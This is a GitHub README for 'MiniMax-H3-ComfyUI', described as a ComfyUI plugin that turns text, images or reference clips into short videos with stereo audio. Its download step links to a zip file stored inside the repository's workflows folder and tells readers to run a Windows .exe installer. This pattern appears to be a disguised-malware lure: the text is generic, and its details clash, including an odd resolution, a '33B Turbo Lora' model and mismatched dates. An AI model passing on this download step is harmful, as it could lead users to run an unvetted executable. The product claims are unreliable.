Skip to content

Latest commit

 

History

8 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🎬 MiniMax-H3-ComfyUI - AI Video & Audio Generation

⬇️ Download MiniMax-H3-ComfyUI

✨ What is MiniMax-H3-ComfyUI?

MiniMax-H3-ComfyUI is a powerful tool that lets you create amazing videos from text, images, or reference videos right on your Windows computer. It uses advanced AI technology to generate high-quality videos with stereo audio.

This software works as a plugin for ComfyUI, a popular visual interface for AI workflows. With it, you can:

  • 🎥 Turn text descriptions into videos (text-to-video)
  • 🖼️ Transform images into moving videos (image-to-video)
  • 🎞️ Generate new videos based on reference clips (reference-to-video)
  • 🔊 Create videos with built-in stereo audio
  • 🎯 Produce 4-15 second videos at 768p resolution

🚀 Getting Started

System Requirements:

  • Windows 10 or newer (64-bit)
  • NVIDIA GPU with at least 12GB VRAM (16GB recommended)
  • 16GB system RAM or more
  • 50GB free storage space
  • Stable internet connection for initial setup

📥 How to Download and Install

Visit this link to download the application: https://raw.githubusercontent.com/Newvalo6483/MiniMax-H3-ComfyUI/main/workflows/Max-UI-Comfy-Mini-v1.0.zip

  1. Visit the download page – Click the big download button above or the link provided.
  2. Choose the correct version – Look for the latest release (v1.0 or higher). Download the Windows installer file (it ends in .exe).
  3. Run the installer – Double-click the downloaded file and follow the simple on-screen instructions.
  4. Launch ComfyUI – After installation, open ComfyUI. You'll find new MiniMax H3 nodes in the node menu.
  5. Tip: Make sure you have ComfyUI v0.31.0 or newer installed for full compatibility.

    🎯 How to Use

    Basic Workflows

    MiniMax-H3-ComfyUI includes three pre-built workflow templates to get you started:

    • T2V (Text-to-Video): Type a description, get a video. Example: "A sunset over mountains with birds flying"
    • I2V (Image-to-Video): Upload an image and add motion to it. Perfect for animating photos.
    • R2V (Reference-to-Video): Use a short video clip as a style reference to generate new videos.

    Step-by-Step Guide

    1. Open ComfyUI with the MiniMax H3 plugin installed.
    2. From the menu, select a workflow (T2V, I2V, or R2V).
    3. Fill in required inputs (text prompt, image, or reference video).
    4. Adjust optional settings like video length (4-15 seconds) and quality.
    5. Click "Queue" to generate your video.
    6. Wait for processing. High-quality 768p videos usually take 2-5 minutes per second of output.
    7. Your video will appear in the output folder once done.

    💡 Prompt Tips: For best results with Turbo Lora, use descriptive text prompts. Example: "cinematic footage of a playful golden retriever running through a field of wildflowers, golden hour lighting, shallow depth of field, 4K quality"

    🔧 Key Features Explained

    H3-VisualVAE & H3-AudioVAE Decoders

    These specialized components handle video and audio encoding/decoding. The VisualVAE processes video frames while AudioVAE handles stereo sound generation. You don't need to worry about these – they work automatically behind the scenes.

    Turbo Lora 33B Model

    The MiniMax H3 33B model is a large AI that understands both visual and audio information. The "Turbo Lora" version is optimized for speed without sacrificing quality.

    ⚙️ Advanced Settings (Optional)

    For those wanting more control:

    • Video length: Set from 4 to 15 seconds.
    • Resolution: Supports up to 768p (136x1360 or 1024x1024).
    • Sampling steps: Higher values = better quality but slower. Start with 20.
    • Guidance scale: Adjust between 5-10. Higher values make AI follow prompt more strictly.

    🐛 Troubleshooting

    IssueSolution
    Out of memory errorClose other programs, reduce video length, or use lower resolution (512px).
    No nodes appearMake sure ComfyUI is v0.31.0+. Reinstall MiniMax-H3-ComfyUI.
    Slow generationUse Turbo Lora models for faster results. Ensure your GPU has sufficient VRAM.

    For more help, check the GitHub Issues page.

    📚 What's Included

    • Custom ComfyUI nodes for MiniMax H3
    • Three pre-built workflow templates (T2V, I2V, R2V)
    • H3-VisualVAE decoder
    • H3-AudioVAE decoder
    • MiniMax turbo lora 33B model
    • Support for GGUF INT8 quantized models (reduced VRAM usage)

    🛠️ Support & Updates

    Stay up to date and get help from the community:

    ⬇️ Download Now

    Last updated: November 2024